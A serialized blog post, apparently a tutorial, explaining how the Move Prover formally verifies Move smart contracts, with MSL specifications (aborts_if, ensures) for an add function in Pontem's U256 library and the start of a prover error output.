specifications.",{"src":12372,"height":12373,"width":8836},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[12376,12377],"move","tutorial",{"type":21,"children":12379,"toc":16706},[12380,12399,12411,12417,12422,12427,12432,12441,12446,12460,12465,12471,12476,12490,12495,12632,12645,12650,12671,12705,12716,12721,12726,12736,12748,13091,13105,13123,13168,13181,13200,13372,13377,13382,13407,13412,14012,14024,14036,14041,14055,14060,14073,14113,14118,14150,14155,14160,14173,14558,14585,14792,14797,14809,15046,15051,15059,15078,15426,15431,15588,15593,15600,15614,15620,15625,15630,15636,15649,15881,15887,15892,15912,16181,16186,16192,16204,16209,16223,16229,16265,16365,16386,16392,16397,16402,16654,16659,16677,16681,16686,16691,16702],{"type":24,"tag":33,"props":12381,"children":12382},{},[12383,12385,12390,12392,12397],{"type":30,"value":12384},"Formal verification -- a powerful tool for ",{"type":24,"tag":6032,"props":12386,"children":12387},{},[12388],{"type":30,"value":12389},"proving",{"type":30,"value":12391}," the correctness of your programs. How does it ",{"type":24,"tag":6032,"props":12393,"children":12394},{},[12395],{"type":30,"value":12396},"actually",{"type":30,"value":12398}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":24,"tag":33,"props":12400,"children":12401},{},[12402,12404,12409],{"type":30,"value":12403},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":24,"tag":6032,"props":12405,"children":12406},{},[12407],{"type":30,"value":12408},"all",{"type":30,"value":12410}," possible inputs.",{"type":24,"tag":68,"props":12412,"children":12414},{"id":12413},"move-prover",[12415],{"type":30,"value":12416},"Move Prover",{"type":24,"tag":33,"props":12418,"children":12419},{},[12420],{"type":30,"value":12421},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":24,"tag":33,"props":12423,"children":12424},{},[12425],{"type":30,"value":12426},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":24,"tag":33,"props":12428,"children":12429},{},[12430],{"type":30,"value":12431},"The architecture of the tool consists of multiple components as illustrated below.",{"type":24,"tag":33,"props":12433,"children":12434},{},[12435],{"type":24,"tag":140,"props":12436,"children":12440},{"alt":12437,"src":12438,"title":12439},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":24,"tag":33,"props":12442,"children":12443},{},[12444],{"type":30,"value":12445},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":24,"tag":33,"props":12447,"children":12448},{},[12449,12451,12458],{"type":30,"value":12450},"The model is translated into an intermediate language, called ",{"type":24,"tag":37,"props":12452,"children":12455},{"href":12453,"rel":12454},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[41],[12456],{"type":30,"value":12457},"Boogie",{"type":30,"value":12459},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":24,"tag":33,"props":12461,"children":12462},{},[12463],{"type":30,"value":12464},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":24,"tag":68,"props":12466,"children":12468},{"id":12467},"move-specification-language",[12469],{"type":30,"value":12470},"Move Specification Language",{"type":24,"tag":33,"props":12472,"children":12473},{},[12474],{"type":30,"value":12475},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":24,"tag":33,"props":12477,"children":12478},{},[12479,12481,12488],{"type":30,"value":12480},"To better understand how to use the MSL, we will use ",{"type":24,"tag":37,"props":12482,"children":12485},{"href":12483,"rel":12484},"https://github.com/pontem-network/u256",[41],[12486],{"type":30,"value":12487},"Pontem's U256 library",{"type":30,"value":12489},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":24,"tag":33,"props":12491,"children":12492},{},[12493],{"type":30,"value":12494},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":24,"tag":920,"props":12496,"children":12498},{"code":12497,"language":6101,"meta":7,"className":6102,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[12499],{"type":24,"tag":156,"props":12500,"children":12501},{"__ignoreMap":7},[12502,12545,12565,12585,12605,12625],{"type":24,"tag":930,"props":12503,"children":12504},{"class":932,"line":933},[12505,12510,12514,12519,12524,12528,12533,12537,12541],{"type":24,"tag":930,"props":12506,"children":12507},{"style":937},[12508],{"type":30,"value":12509},"struct",{"type":24,"tag":930,"props":12511,"children":12512},{"style":943},[12513],{"type":30,"value":7843},{"type":24,"tag":930,"props":12515,"children":12516},{"style":1023},[12517],{"type":30,"value":12518}," has",{"type":24,"tag":930,"props":12520,"children":12521},{"style":1023},[12522],{"type":30,"value":12523}," copy",{"type":24,"tag":930,"props":12525,"children":12526},{"style":959},[12527],{"type":30,"value":962},{"type":24,"tag":930,"props":12529,"children":12530},{"style":1023},[12531],{"type":30,"value":12532},"drop",{"type":24,"tag":930,"props":12534,"children":12535},{"style":959},[12536],{"type":30,"value":962},{"type":24,"tag":930,"props":12538,"children":12539},{"style":1023},[12540],{"type":30,"value":9053},{"type":24,"tag":930,"props":12542,"children":12543},{"style":959},[12544],{"type":30,"value":981},{"type":24,"tag":930,"props":12546,"children":12547},{"class":932,"line":984},[12548,12553,12557,12561],{"type":24,"tag":930,"props":12549,"children":12550},{"style":1023},[12551],{"type":30,"value":12552},"    v0",{"type":24,"tag":930,"props":12554,"children":12555},{"style":1158},[12556],{"type":30,"value":476},{"type":24,"tag":930,"props":12558,"children":12559},{"style":943},[12560],{"type":30,"value":8972},{"type":24,"tag":930,"props":12562,"children":12563},{"style":959},[12564],{"type":30,"value":2832},{"type":24,"tag":930,"props":12566,"children":12567},{"class":932,"line":993},[12568,12573,12577,12581],{"type":24,"tag":930,"props":12569,"children":12570},{"style":1023},[12571],{"type":30,"value":12572},"    v1",{"type":24,"tag":930,"props":12574,"children":12575},{"style":1158},[12576],{"type":30,"value":476},{"type":24,"tag":930,"props":12578,"children":12579},{"style":943},[12580],{"type":30,"value":8972},{"type":24,"tag":930,"props":12582,"children":12583},{"style":959},[12584],{"type":30,"value":2832},{"type":24,"tag":930,"props":12586,"children":12587},{"class":932,"line":1057},[12588,12593,12597,12601],{"type":24,"tag":930,"props":12589,"children":12590},{"style":1023},[12591],{"type":30,"value":12592},"    v2",{"type":24,"tag":930,"props":12594,"children":12595},{"style":1158},[12596],{"type":30,"value":476},{"type":24,"tag":930,"props":12598,"children":12599},{"style":943},[12600],{"type":30,"value":8972},{"type":24,"tag":930,"props":12602,"children":12603},{"style":959},[12604],{"type":30,"value":2832},{"type":24,"tag":930,"props":12606,"children":12607},{"class":932,"line":1066},[12608,12613,12617,12621],{"type":24,"tag":930,"props":12609,"children":12610},{"style":1023},[12611],{"type":30,"value":12612},"    v3",{"type":24,"tag":930,"props":12614,"children":12615},{"style":1158},[12616],{"type":30,"value":476},{"type":24,"tag":930,"props":12618,"children":12619},{"style":943},[12620],{"type":30,"value":8972},{"type":24,"tag":930,"props":12622,"children":12623},{"style":959},[12624],{"type":30,"value":2832},{"type":24,"tag":930,"props":12626,"children":12627},{"class":932,"line":1075},[12628],{"type":24,"tag":930,"props":12629,"children":12630},{"style":959},[12631],{"type":30,"value":2528},{"type":24,"tag":33,"props":12633,"children":12634},{},[12635,12637,12643],{"type":30,"value":12636},"Now, let's consider the ",{"type":24,"tag":156,"props":12638,"children":12640},{"className":12639},[],[12641],{"type":30,"value":12642},"add(a: U256, b: U256): U256",{"type":30,"value":12644}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":24,"tag":33,"props":12646,"children":12647},{},[12648],{"type":30,"value":12649},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":24,"tag":33,"props":12651,"children":12652},{},[12653,12655,12661,12663,12670],{"type":30,"value":12654},"For example, if your file is ",{"type":24,"tag":156,"props":12656,"children":12658},{"className":12657},[],[12659],{"type":30,"value":12660},"sources/u256.move",{"type":30,"value":12662},", you can put specifications in ",{"type":24,"tag":37,"props":12664,"children":12667},{"href":12665,"rel":12666},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[41],[12668],{"type":30,"value":12669},"sources/u256.spec.move",{"type":30,"value":436},{"type":24,"tag":920,"props":12672,"children":12674},{"code":12673,"language":6101,"meta":7,"className":6102,"style":7},"spec add { ... }\n",[12675],{"type":24,"tag":156,"props":12676,"children":12677},{"__ignoreMap":7},[12678],{"type":24,"tag":930,"props":12679,"children":12680},{"class":932,"line":933},[12681,12685,12690,12695,12700],{"type":24,"tag":930,"props":12682,"children":12683},{"style":1023},[12684],{"type":30,"value":11384},{"type":24,"tag":930,"props":12686,"children":12687},{"style":1023},[12688],{"type":30,"value":12689}," add",{"type":24,"tag":930,"props":12691,"children":12692},{"style":959},[12693],{"type":30,"value":12694}," { ",{"type":24,"tag":930,"props":12696,"children":12697},{"style":1158},[12698],{"type":30,"value":12699},"...",{"type":24,"tag":930,"props":12701,"children":12702},{"style":959},[12703],{"type":30,"value":12704}," }\n",{"type":24,"tag":33,"props":12706,"children":12707},{},[12708,12710,12715],{"type":30,"value":12709},"The specifications placed inside the specification blocks are considered ",{"type":24,"tag":6032,"props":12711,"children":12712},{},[12713],{"type":30,"value":12714},"Expressions",{"type":30,"value":436},{"type":24,"tag":151,"props":12717,"children":12719},{"id":12718},"expressions",[12720],{"type":30,"value":12714},{"type":24,"tag":33,"props":12722,"children":12723},{},[12724],{"type":30,"value":12725},"Let's go over some common expressions.",{"type":24,"tag":33,"props":12727,"children":12728},{},[12729,12734],{"type":24,"tag":156,"props":12730,"children":12732},{"className":12731},[],[12733],{"type":30,"value":11434},{"type":30,"value":12735}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":24,"tag":33,"props":12737,"children":12738},{},[12739,12741,12746],{"type":30,"value":12740},"For example, the ",{"type":24,"tag":156,"props":12742,"children":12744},{"className":12743},[],[12745],{"type":30,"value":3184},{"type":30,"value":12747}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":24,"tag":920,"props":12749,"children":12751},{"code":12750,"language":6101,"meta":7,"className":6102,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[12752],{"type":24,"tag":156,"props":12753,"children":12754},{"__ignoreMap":7},[12755,12789,12796,12845,12867,12896,12933,12974,12981,12988,13003,13084],{"type":24,"tag":930,"props":12756,"children":12757},{"class":932,"line":933},[12758,12763,12768,12772,12776,12780,12785],{"type":24,"tag":930,"props":12759,"children":12760},{"style":937},[12761],{"type":30,"value":12762},"const",{"type":24,"tag":930,"props":12764,"children":12765},{"style":959},[12766],{"type":30,"value":12767}," P64",{"type":24,"tag":930,"props":12769,"children":12770},{"style":1158},[12771],{"type":30,"value":476},{"type":24,"tag":930,"props":12773,"children":12774},{"style":943},[12775],{"type":30,"value":11956},{"type":24,"tag":930,"props":12777,"children":12778},{"style":1158},[12779],{"type":30,"value":6137},{"type":24,"tag":930,"props":12781,"children":12782},{"style":1242},[12783],{"type":30,"value":12784}," 0x10000000000000000",{"type":24,"tag":930,"props":12786,"children":12787},{"style":959},[12788],{"type":30,"value":5539},{"type":24,"tag":930,"props":12790,"children":12791},{"class":932,"line":984},[12792],{"type":24,"tag":930,"props":12793,"children":12794},{"emptyLinePlaceholder":16},[12795],{"type":30,"value":2412},{"type":24,"tag":930,"props":12797,"children":12798},{"class":932,"line":993},[12799,12803,12807,12812,12816,12820,12824,12828,12832,12836,12841],{"type":24,"tag":930,"props":12800,"children":12801},{"style":1023},[12802],{"type":30,"value":11384},{"type":24,"tag":930,"props":12804,"children":12805},{"style":1023},[12806],{"type":30,"value":9320},{"type":24,"tag":930,"props":12808,"children":12809},{"style":1002},[12810],{"type":30,"value":12811}," value_of_U256",{"type":24,"tag":930,"props":12813,"children":12814},{"style":959},[12815],{"type":30,"value":1010},{"type":24,"tag":930,"props":12817,"children":12818},{"style":1023},[12819],{"type":30,"value":37},{"type":24,"tag":930,"props":12821,"children":12822},{"style":1158},[12823],{"type":30,"value":476},{"type":24,"tag":930,"props":12825,"children":12826},{"style":943},[12827],{"type":30,"value":7843},{"type":24,"tag":930,"props":12829,"children":12830},{"style":959},[12831],{"type":30,"value":6249},{"type":24,"tag":930,"props":12833,"children":12834},{"style":1158},[12835],{"type":30,"value":476},{"type":24,"tag":930,"props":12837,"children":12838},{"style":1023},[12839],{"type":30,"value":12840}," num",{"type":24,"tag":930,"props":12842,"children":12843},{"style":959},[12844],{"type":30,"value":981},{"type":24,"tag":930,"props":12846,"children":12847},{"class":932,"line":1057},[12848,12853,12857,12862],{"type":24,"tag":930,"props":12849,"children":12850},{"style":1023},[12851],{"type":30,"value":12852},"    a",{"type":24,"tag":930,"props":12854,"children":12855},{"style":1158},[12856],{"type":30,"value":436},{"type":24,"tag":930,"props":12858,"children":12859},{"style":959},[12860],{"type":30,"value":12861},"v0 ",{"type":24,"tag":930,"props":12863,"children":12864},{"style":1158},[12865],{"type":30,"value":12866},"+\n",{"type":24,"tag":930,"props":12868,"children":12869},{"class":932,"line":1066},[12870,12874,12878,12883,12887,12891],{"type":24,"tag":930,"props":12871,"children":12872},{"style":1023},[12873],{"type":30,"value":12852},{"type":24,"tag":930,"props":12875,"children":12876},{"style":1158},[12877],{"type":30,"value":436},{"type":24,"tag":930,"props":12879,"children":12880},{"style":959},[12881],{"type":30,"value":12882},"v1 ",{"type":24,"tag":930,"props":12884,"children":12885},{"style":1158},[12886],{"type":30,"value":1410},{"type":24,"tag":930,"props":12888,"children":12889},{"style":943},[12890],{"type":30,"value":12767},{"type":24,"tag":930,"props":12892,"children":12893},{"style":1158},[12894],{"type":30,"value":12895}," +\n",{"type":24,"tag":930,"props":12897,"children":12898},{"class":932,"line":1075},[12899,12903,12907,12912,12916,12920,12925,12929],{"type":24,"tag":930,"props":12900,"children":12901},{"style":1023},[12902],{"type":30,"value":12852},{"type":24,"tag":930,"props":12904,"children":12905},{"style":1158},[12906],{"type":30,"value":436},{"type":24,"tag":930,"props":12908,"children":12909},{"style":959},[12910],{"type":30,"value":12911},"v2 ",{"type":24,"tag":930,"props":12913,"children":12914},{"style":1158},[12915],{"type":30,"value":1410},{"type":24,"tag":930,"props":12917,"children":12918},{"style":943},[12919],{"type":30,"value":12767},{"type":24,"tag":930,"props":12921,"children":12922},{"style":1158},[12923],{"type":30,"value":12924}," *",{"type":24,"tag":930,"props":12926,"children":12927},{"style":943},[12928],{"type":30,"value":12767},{"type":24,"tag":930,"props":12930,"children":12931},{"style":1158},[12932],{"type":30,"value":12895},{"type":24,"tag":930,"props":12934,"children":12935},{"class":932,"line":1122},[12936,12940,12944,12949,12953,12957,12961,12965,12969],{"type":24,"tag":930,"props":12937,"children":12938},{"style":1023},[12939],{"type":30,"value":12852},{"type":24,"tag":930,"props":12941,"children":12942},{"style":1158},[12943],{"type":30,"value":436},{"type":24,"tag":930,"props":12945,"children":12946},{"style":959},[12947],{"type":30,"value":12948},"v3 ",{"type":24,"tag":930,"props":12950,"children":12951},{"style":1158},[12952],{"type":30,"value":1410},{"type":24,"tag":930,"props":12954,"children":12955},{"style":943},[12956],{"type":30,"value":12767},{"type":24,"tag":930,"props":12958,"children":12959},{"style":1158},[12960],{"type":30,"value":12924},{"type":24,"tag":930,"props":12962,"children":12963},{"style":943},[12964],{"type":30,"value":12767},{"type":24,"tag":930,"props":12966,"children":12967},{"style":1158},[12968],{"type":30,"value":12924},{"type":24,"tag":930,"props":12970,"children":12971},{"style":943},[12972],{"type":30,"value":12973}," P64\n",{"type":24,"tag":930,"props":12975,"children":12976},{"class":932,"line":1131},[12977],{"type":24,"tag":930,"props":12978,"children":12979},{"style":959},[12980],{"type":30,"value":2528},{"type":24,"tag":930,"props":12982,"children":12983},{"class":932,"line":1144},[12984],{"type":24,"tag":930,"props":12985,"children":12986},{"emptyLinePlaceholder":16},[12987],{"type":30,"value":2412},{"type":24,"tag":930,"props":12989,"children":12990},{"class":932,"line":1169},[12991,12995,12999],{"type":24,"tag":930,"props":12992,"children":12993},{"style":1023},[12994],{"type":30,"value":11384},{"type":24,"tag":930,"props":12996,"children":12997},{"style":1023},[12998],{"type":30,"value":12689},{"type":24,"tag":930,"props":13000,"children":13001},{"style":959},[13002],{"type":30,"value":981},{"type":24,"tag":930,"props":13004,"children":13005},{"class":932,"line":1191},[13006,13011,13015,13019,13023,13027,13031,13035,13039,13043,13047,13052,13056,13060,13064,13068,13072,13076,13080],{"type":24,"tag":930,"props":13007,"children":13008},{"style":1023},[13009],{"type":30,"value":13010},"    aborts_if",{"type":24,"tag":930,"props":13012,"children":13013},{"style":1002},[13014],{"type":30,"value":12811},{"type":24,"tag":930,"props":13016,"children":13017},{"style":959},[13018],{"type":30,"value":1010},{"type":24,"tag":930,"props":13020,"children":13021},{"style":1023},[13022],{"type":30,"value":37},{"type":24,"tag":930,"props":13024,"children":13025},{"style":959},[13026],{"type":30,"value":5579},{"type":24,"tag":930,"props":13028,"children":13029},{"style":1158},[13030],{"type":30,"value":1400},{"type":24,"tag":930,"props":13032,"children":13033},{"style":1002},[13034],{"type":30,"value":12811},{"type":24,"tag":930,"props":13036,"children":13037},{"style":959},[13038],{"type":30,"value":1010},{"type":24,"tag":930,"props":13040,"children":13041},{"style":1023},[13042],{"type":30,"value":6343},{"type":24,"tag":930,"props":13044,"children":13045},{"style":959},[13046],{"type":30,"value":5579},{"type":24,"tag":930,"props":13048,"children":13049},{"style":1158},[13050],{"type":30,"value":13051},">=",{"type":24,"tag":930,"props":13053,"children":13054},{"style":943},[13055],{"type":30,"value":12767},{"type":24,"tag":930,"props":13057,"children":13058},{"style":1158},[13059],{"type":30,"value":12924},{"type":24,"tag":930,"props":13061,"children":13062},{"style":943},[13063],{"type":30,"value":12767},{"type":24,"tag":930,"props":13065,"children":13066},{"style":1158},[13067],{"type":30,"value":12924},{"type":24,"tag":930,"props":13069,"children":13070},{"style":943},[13071],{"type":30,"value":12767},{"type":24,"tag":930,"props":13073,"children":13074},{"style":1158},[13075],{"type":30,"value":12924},{"type":24,"tag":930,"props":13077,"children":13078},{"style":943},[13079],{"type":30,"value":12767},{"type":24,"tag":930,"props":13081,"children":13082},{"style":959},[13083],{"type":30,"value":5539},{"type":24,"tag":930,"props":13085,"children":13086},{"class":932,"line":1223},[13087],{"type":24,"tag":930,"props":13088,"children":13089},{"style":959},[13090],{"type":30,"value":2528},{"type":24,"tag":33,"props":13092,"children":13093},{},[13094,13096,13103],{"type":30,"value":13095},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":24,"tag":37,"props":13097,"children":13100},{"href":13098,"rel":13099},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[41],[13101],{"type":30,"value":13102},"MSL function",{"type":30,"value":13104},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":24,"tag":33,"props":13106,"children":13107},{},[13108,13110,13115,13116,13121],{"type":30,"value":13109},"A common pattern for ",{"type":24,"tag":156,"props":13111,"children":13113},{"className":13112},[],[13114],{"type":30,"value":11434},{"type":30,"value":3678},{"type":24,"tag":156,"props":13117,"children":13119},{"className":13118},[],[13120],{"type":30,"value":11442},{"type":30,"value":13122},", which lets you prove that a function will never abort.",{"type":24,"tag":920,"props":13124,"children":13126},{"code":13125,"language":6101,"meta":7,"className":6102,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[13127],{"type":24,"tag":156,"props":13128,"children":13129},{"__ignoreMap":7},[13130,13146,13161],{"type":24,"tag":930,"props":13131,"children":13132},{"class":932,"line":933},[13133,13137,13142],{"type":24,"tag":930,"props":13134,"children":13135},{"style":1023},[13136],{"type":30,"value":11384},{"type":24,"tag":930,"props":13138,"children":13139},{"style":1023},[13140],{"type":30,"value":13141}," critical_function",{"type":24,"tag":930,"props":13143,"children":13144},{"style":959},[13145],{"type":30,"value":981},{"type":24,"tag":930,"props":13147,"children":13148},{"class":932,"line":984},[13149,13153,13157],{"type":24,"tag":930,"props":13150,"children":13151},{"style":1023},[13152],{"type":30,"value":13010},{"type":24,"tag":930,"props":13154,"children":13155},{"style":937},[13156],{"type":30,"value":12167},{"type":24,"tag":930,"props":13158,"children":13159},{"style":959},[13160],{"type":30,"value":5539},{"type":24,"tag":930,"props":13162,"children":13163},{"class":932,"line":993},[13164],{"type":24,"tag":930,"props":13165,"children":13166},{"style":959},[13167],{"type":30,"value":2528},{"type":24,"tag":33,"props":13169,"children":13170},{},[13171,13173,13179],{"type":30,"value":13172},"Another type of expression that we can use is ",{"type":24,"tag":156,"props":13174,"children":13176},{"className":13175},[],[13177],{"type":30,"value":13178},"ensures",{"type":30,"value":13180},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":24,"tag":33,"props":13182,"children":13183},{},[13184,13186,13191,13193,13198],{"type":30,"value":13185},"In the case of the ",{"type":24,"tag":156,"props":13187,"children":13189},{"className":13188},[],[13190],{"type":30,"value":3184},{"type":30,"value":13192}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":24,"tag":275,"props":13194,"children":13195},{},[13196],{"type":30,"value":13197},"MSL uses unbounded numbers",{"type":30,"value":13199},", we're able to very cleanly express this property without worrying about overflows.",{"type":24,"tag":920,"props":13201,"children":13203},{"code":13202,"language":6101,"meta":7,"className":6102,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[13204],{"type":24,"tag":156,"props":13205,"children":13206},{"__ignoreMap":7},[13207,13222,13301,13365],{"type":24,"tag":930,"props":13208,"children":13209},{"class":932,"line":933},[13210,13214,13218],{"type":24,"tag":930,"props":13211,"children":13212},{"style":1023},[13213],{"type":30,"value":11384},{"type":24,"tag":930,"props":13215,"children":13216},{"style":1023},[13217],{"type":30,"value":12689},{"type":24,"tag":930,"props":13219,"children":13220},{"style":959},[13221],{"type":30,"value":981},{"type":24,"tag":930,"props":13223,"children":13224},{"class":932,"line":984},[13225,13229,13233,13237,13241,13245,13249,13253,13257,13261,13265,13269,13273,13277,13281,13285,13289,13293,13297],{"type":24,"tag":930,"props":13226,"children":13227},{"style":1023},[13228],{"type":30,"value":13010},{"type":24,"tag":930,"props":13230,"children":13231},{"style":1002},[13232],{"type":30,"value":12811},{"type":24,"tag":930,"props":13234,"children":13235},{"style":959},[13236],{"type":30,"value":1010},{"type":24,"tag":930,"props":13238,"children":13239},{"style":1023},[13240],{"type":30,"value":37},{"type":24,"tag":930,"props":13242,"children":13243},{"style":959},[13244],{"type":30,"value":5579},{"type":24,"tag":930,"props":13246,"children":13247},{"style":1158},[13248],{"type":30,"value":1400},{"type":24,"tag":930,"props":13250,"children":13251},{"style":1002},[13252],{"type":30,"value":12811},{"type":24,"tag":930,"props":13254,"children":13255},{"style":959},[13256],{"type":30,"value":1010},{"type":24,"tag":930,"props":13258,"children":13259},{"style":1023},[13260],{"type":30,"value":6343},{"type":24,"tag":930,"props":13262,"children":13263},{"style":959},[13264],{"type":30,"value":5579},{"type":24,"tag":930,"props":13266,"children":13267},{"style":1158},[13268],{"type":30,"value":13051},{"type":24,"tag":930,"props":13270,"children":13271},{"style":943},[13272],{"type":30,"value":12767},{"type":24,"tag":930,"props":13274,"children":13275},{"style":1158},[13276],{"type":30,"value":12924},{"type":24,"tag":930,"props":13278,"children":13279},{"style":943},[13280],{"type":30,"value":12767},{"type":24,"tag":930,"props":13282,"children":13283},{"style":1158},[13284],{"type":30,"value":12924},{"type":24,"tag":930,"props":13286,"children":13287},{"style":943},[13288],{"type":30,"value":12767},{"type":24,"tag":930,"props":13290,"children":13291},{"style":1158},[13292],{"type":30,"value":12924},{"type":24,"tag":930,"props":13294,"children":13295},{"style":943},[13296],{"type":30,"value":12767},{"type":24,"tag":930,"props":13298,"children":13299},{"style":959},[13300],{"type":30,"value":5539},{"type":24,"tag":930,"props":13302,"children":13303},{"class":932,"line":993},[13304,13309,13313,13317,13321,13325,13329,13333,13337,13341,13345,13349,13353,13357,13361],{"type":24,"tag":930,"props":13305,"children":13306},{"style":1023},[13307],{"type":30,"value":13308},"    ensures",{"type":24,"tag":930,"props":13310,"children":13311},{"style":1002},[13312],{"type":30,"value":12811},{"type":24,"tag":930,"props":13314,"children":13315},{"style":959},[13316],{"type":30,"value":1010},{"type":24,"tag":930,"props":13318,"children":13319},{"style":1023},[13320],{"type":30,"value":12191},{"type":24,"tag":930,"props":13322,"children":13323},{"style":959},[13324],{"type":30,"value":5579},{"type":24,"tag":930,"props":13326,"children":13327},{"style":1158},[13328],{"type":30,"value":1239},{"type":24,"tag":930,"props":13330,"children":13331},{"style":1002},[13332],{"type":30,"value":12811},{"type":24,"tag":930,"props":13334,"children":13335},{"style":959},[13336],{"type":30,"value":1010},{"type":24,"tag":930,"props":13338,"children":13339},{"style":1023},[13340],{"type":30,"value":37},{"type":24,"tag":930,"props":13342,"children":13343},{"style":959},[13344],{"type":30,"value":5579},{"type":24,"tag":930,"props":13346,"children":13347},{"style":1158},[13348],{"type":30,"value":1400},{"type":24,"tag":930,"props":13350,"children":13351},{"style":1002},[13352],{"type":30,"value":12811},{"type":24,"tag":930,"props":13354,"children":13355},{"style":959},[13356],{"type":30,"value":1010},{"type":24,"tag":930,"props":13358,"children":13359},{"style":1023},[13360],{"type":30,"value":6343},{"type":24,"tag":930,"props":13362,"children":13363},{"style":959},[13364],{"type":30,"value":1278},{"type":24,"tag":930,"props":13366,"children":13367},{"class":932,"line":1057},[13368],{"type":24,"tag":930,"props":13369,"children":13370},{"style":959},[13371],{"type":30,"value":2528},{"type":24,"tag":33,"props":13373,"children":13374},{},[13375],{"type":30,"value":13376},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":24,"tag":33,"props":13378,"children":13379},{},[13380],{"type":30,"value":13381},"Let's try to prove the library with the specifications from above:",{"type":24,"tag":920,"props":13383,"children":13385},{"code":13384,"language":7360,"meta":7,"className":7361,"style":7},"$ move prove\n",[13386],{"type":24,"tag":156,"props":13387,"children":13388},{"__ignoreMap":7},[13389],{"type":24,"tag":930,"props":13390,"children":13391},{"class":932,"line":933},[13392,13397,13402],{"type":24,"tag":930,"props":13393,"children":13394},{"style":1002},[13395],{"type":30,"value":13396},"$",{"type":24,"tag":930,"props":13398,"children":13399},{"style":1270},[13400],{"type":30,"value":13401}," move",{"type":24,"tag":930,"props":13403,"children":13404},{"style":1270},[13405],{"type":30,"value":13406}," prove\n",{"type":24,"tag":33,"props":13408,"children":13409},{},[13410],{"type":30,"value":13411},"It outputs the following error information:",{"type":24,"tag":920,"props":13413,"children":13415},{"code":13414,"language":7360,"meta":7,"className":7361,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[13416],{"type":24,"tag":156,"props":13417,"children":13418},{"__ignoreMap":7},[13419,13426,13433,13495,13516,13605,13673,13685,13693,13700,13707,13714,13732,13793,13810,13827,13899,13915,13923,13930,13980,13988,14005],{"type":24,"tag":930,"props":13420,"children":13421},{"class":932,"line":933},[13422],{"type":24,"tag":930,"props":13423,"children":13424},{"style":959},[13425],{"type":30,"value":990},{"type":24,"tag":930,"props":13427,"children":13428},{"class":932,"line":984},[13429],{"type":24,"tag":930,"props":13430,"children":13431},{"emptyLinePlaceholder":16},[13432],{"type":30,"value":2412},{"type":24,"tag":930,"props":13434,"children":13435},{"class":932,"line":993},[13436,13441,13446,13451,13456,13461,13466,13471,13476,13481,13485,13490],{"type":24,"tag":930,"props":13437,"children":13438},{"style":1002},[13439],{"type":30,"value":13440},"error:",{"type":24,"tag":930,"props":13442,"children":13443},{"style":1270},[13444],{"type":30,"value":13445}," abort",{"type":24,"tag":930,"props":13447,"children":13448},{"style":1270},[13449],{"type":30,"value":13450}," not",{"type":24,"tag":930,"props":13452,"children":13453},{"style":1270},[13454],{"type":30,"value":13455}," covered",{"type":24,"tag":930,"props":13457,"children":13458},{"style":1270},[13459],{"type":30,"value":13460}," by",{"type":24,"tag":930,"props":13462,"children":13463},{"style":1270},[13464],{"type":30,"value":13465}," 